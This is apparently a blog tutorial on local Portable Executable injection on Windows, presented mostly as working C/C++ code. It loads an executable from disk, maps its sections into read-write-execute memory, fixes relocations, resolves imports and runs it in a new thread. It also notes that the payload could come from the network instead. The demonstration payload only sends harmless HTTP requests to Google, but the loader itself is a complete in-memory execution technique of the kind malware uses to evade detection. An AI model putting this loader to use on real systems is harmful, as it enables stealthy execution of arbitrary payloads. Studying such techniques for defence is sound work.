Local Portable Executable Injection

Local Portable Executable Injection

This post will introduce the concept of injecting PE files into a local process. Previously, both DLL Injection and Reflective DLL Injection techniques were discussed to allow code execution in another process.

This technique will focus on the execution of a payload within a local process, however, the benefit of this technique over Reflective DLL Injection is that it does not require a DLL or any premade shellcode for execution.

Source Code for Examples

The associated code example for this post can be found on the following link.

Payload

The payload for this example will send a HTTP request to Google. This was chosen so that the payload is simple and there is visual feedback that can be seen when the payload is running.

int sendHTTPRequest() {

        LPCSTR userAgent = "agent";
        LPCSTR connectDomain = "google.com";
        LPCSTR httpRequestType = "GET";
        LPCSTR targetPath = "/test";

        HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (internetHandle == NULL) {
                return -1;
        }

        DWORD_PTR dwService = (DWORD_PTR)NULL;

        HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
        if (httpHandle == NULL) {
                return -1;
        }

        HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
        if (httpRequestHandle == NULL) {
                return -1;
        }

        BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
        InternetCloseHandle(internetHandle);

        return 1;
}

The loopHTTPConnect() function will be responsible for looping through the sendHTTPRequest() function every two seconds.

void loopHTTPConnect() {

        while (true) {
                Sleep(2000);
                sendHTTPRequest();
                printf("Sent HTTP Request\n");
        }

}

The loopHTTPConnect() function will be invoked from the programs main() function. This is a standard executable file that can be run directly in Windows, however, our goal is to run it inside of a injector without directly invoking it.

int main() {

        printf("HTTP Payload Sending Starting\n");
        loopHTTPConnect();
}

Local Portable Executable Injector

The local portable executable injector will be responsible for loading the payload and executing it inside of itself.

Load the Target Payload

The first step is to read in the payload file from disk, this is achieved by using both CreateFile to open, GetFileSize to allocate enough heap space via HeapAlloc, and reading the file into the heap space with ReadFile. The payload in this case is read from disk for example purposes, however, it is possible to download it from the network or any other location as well.

        HANDLE hExePayloadFile = CreateFileA(&(exePath[0]), GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
        if (hExePayloadFile == INVALID_HANDLE_VALUE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        DWORD exePayloadFileSize = GetFileSize(hExePayloadFile, NULL);
        if (exePayloadFileSize == INVALID_FILE_SIZE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        PIMAGE_DOS_HEADER pExePayloadUnmapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, exePayloadFileSize);
        if (pExePayloadUnmapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        if (!ReadFile(hExePayloadFile, pExePayloadUnmapped, exePayloadFileSize, NULL, NULL)) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

Map the Target Payload

The next step is to map the payload, this is required as to execute the file it must be stored in a virtual memory representation rather than an on-disk representation. To start we allocate a buffer with VirtualAlloc that will be readable, writable, and executable.

        PIMAGE_NT_HEADERS64 pExePayloadNTHeaders = (PIMAGE_NT_HEADERS64)(pExePayloadUnmapped->e_lfanew + (LPBYTE)pExePayloadUnmapped);
        PIMAGE_DOS_HEADER pExePayloadMapped = (PIMAGE_DOS_HEADER)VirtualAlloc(NULL, pExePayloadNTHeaders->OptionalHeader.SizeOfImage,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (pExePayloadMapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

Next, the PE headers are copied directly to the newly allocated buffer space. There are no changes required to the headers.

        // Copy headers to mapped memory space

        DWORD totalHeaderSize = pExePayloadNTHeaders->OptionalHeader.SizeOfHeaders;
        memcpy_s(pExePayloadMapped, totalHeaderSize, pExePayloadUnmapped, totalHeaderSize);

After, the PE sections are copied over. When copying the PE sections the virtual address offset is used to figure out the destination in which the PE section should be present in, rather than the raw offset that is used when the file is on disk.

        // Map PE sections into mapped memory space

        DWORD numberOfSections = pExePayloadNTHeaders->FileHeader.NumberOfSections;
        PIMAGE_SECTION_HEADER pCurrentSection = (PIMAGE_SECTION_HEADER)(pExePayloadNTHeaders->FileHeader.SizeOfOptionalHeader + (LPBYTE)&(pExePayloadNTHeaders->OptionalHeader));

        for (DWORD i = 0; i < numberOfSections; i++, pCurrentSection++) {

                if (pCurrentSection->SizeOfRawData != 0) {
                        LPBYTE pSourceSectionData = pCurrentSection->PointerToRawData + (LPBYTE)pExePayloadUnmapped;
                        LPBYTE pDestinationSectionData = pCurrentSection->VirtualAddress + (LPBYTE)pExePayloadMapped;
                        DWORD sectionSize = pCurrentSection->SizeOfRawData;

                        memcpy_s(pDestinationSectionData, sectionSize, pSourceSectionData, sectionSize);
                }
        }

Fix the Base Relocation Table

The Base Relocation Table will need to be updated in order to ensure that any hardcoded address in the DLL will resolve properly with the new base offset.

        DWORD baseRelocationRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        PIMAGE_BASE_RELOCATION pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)(baseRelocationRVA + (LPBYTE)pExePayloadMapped);

        while (pCurrentBaseRelocation->VirtualAddress != NULL && baseRelocationRVA != 0) {

                DWORD relocationEntryCount = (pCurrentBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
                PIMAGE_RELOC pCurrentBaseRelocationEntry = (PIMAGE_RELOC)((LPBYTE)pCurrentBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = 0; i < relocationEntryCount; i++, pCurrentBaseRelocationEntry++) {
                        if (pCurrentBaseRelocationEntry->type == IMAGE_REL_BASED_DIR64) {

                                ULONGLONG* pRelocationValue = (ULONGLONG*)((LPBYTE)pExePayloadMapped + (ULONGLONG)((pCurrentBaseRelocation->VirtualAddress + pCurrentBaseRelocationEntry->offset)));
                                ULONGLONG updatedRelocationValue = (ULONGLONG)((*pRelocationValue - pExePayloadNTHeaders->OptionalHeader.ImageBase) + (LPBYTE)pExePayloadMapped);
                                *pRelocationValue = updatedRelocationValue;
                        }
                }

                // Increment current base relocation entry to the next one, we do this by adding its total size to the current offset
                pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBaseRelocation + pCurrentBaseRelocation->SizeOfBlock);
        }

Resolve the IAT

Now that the PE Headers and PE Sections are mapped into the buffer the IAT will need to be resolved. This is important as the various functions used by the payload (HttpOpenRequestA, InternetConnectA, …) will not work if the IAT is not correctly updated.

        DWORD importDescriptorRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
        PIMAGE_IMPORT_DESCRIPTOR pMappedCurrentDLLImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importDescriptorRVA + (LPBYTE)pExePayloadMapped);

        while (pMappedCurrentDLLImportDescriptor->Name != NULL && importDescriptorRVA != 0) {
                LPSTR currentDLLName = (LPSTR)(pMappedCurrentDLLImportDescriptor->Name + (LPBYTE)pExePayloadMapped);
                HMODULE hCurrentDLLModule = LoadLibraryA(currentDLLName);

                if (hCurrentDLLModule == NULL) {
                        std::cout << GetLastErrorAsString();
                        return -1;
                }

                PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pMappedCurrentDLLImportDescriptor->FirstThunk + (LPBYTE)pExePayloadMapped);

                while (pImageThunkData->u1.AddressOfData) {

                        if (pImageThunkData->u1.Ordinal & 0x8000000000000000) {
                                // Import is by ordinal

                                FARPROC resolvedImportAddress = GetProcAddress(hCurrentDLLModule, MAKEINTRESOURCEA(pImageThunkData->u1.Ordinal));

                                if (resolvedImportAddress == NULL) {
                                        std::cout << GetLastErrorAsString();
                                        return -1;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }
                        else {
                                // Import is by name
                                PIMAGE_IMPORT_BY_NAME pAddressOfImportData = (PIMAGE_IMPORT_BY_NAME)((pImageThunkData->u1.AddressOfData) + (LPBYTE)pExePayloadMapped);
                                FARPROC resolvedImportAddress = GetProcAddress(hCurrentDLLModule, pAddressOfImportData->Name);

                                if (resolvedImportAddress == NULL) {
                                        std::cout << GetLastErrorAsString();
                                        return -1;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }

                        pImageThunkData++;
                }

                pMappedCurrentDLLImportDescriptor++;
        }

Perform a Self Execution

In the end we have a readable, writable, and executable buffer with a memory mapped PE file. We can now retrieve the entry point of this PE file and start a new thread with CreateThread that will run in the local process. We use WaitForSingleObject with the INFINITE parameter so the main thread created by the operating system does not exit. If the WaitForSingleObject was not present our main thread would exit and the process would end.

            LPTHREAD_START_ROUTINE pExePayloadEntryPoint = (LPTHREAD_START_ROUTINE) (pExePayloadNTHeaders->OptionalHeader.AddressOfEntryPoint + (LPBYTE)pExePayloadMapped);
    
            HANDLE hThread = CreateThread(NULL, 0, pExePayloadEntryPoint, NULL, NULL, NULL);
            if (hThread == NULL) {
                    std::cout << GetLastErrorAsString();
                    return -1;
            }
    
            WaitForSingleObject(hThread, INFINITE);

Local Portable Executable Injection Demonstration

The following GIF provides a video demonstration of the injection process. We can see the injector running and injecting into itself. Once the injection is successful we can see the output from the PE Payload printing to the console. Likewise, we can see HTTP traffic begin in Wireshark indicating a successful injection.


Digging deeper into Process Hacker we can see a readable, writable, and executable memory section in the Injector process. This is the memory section that stores the PE payload which is being executed in a new thread.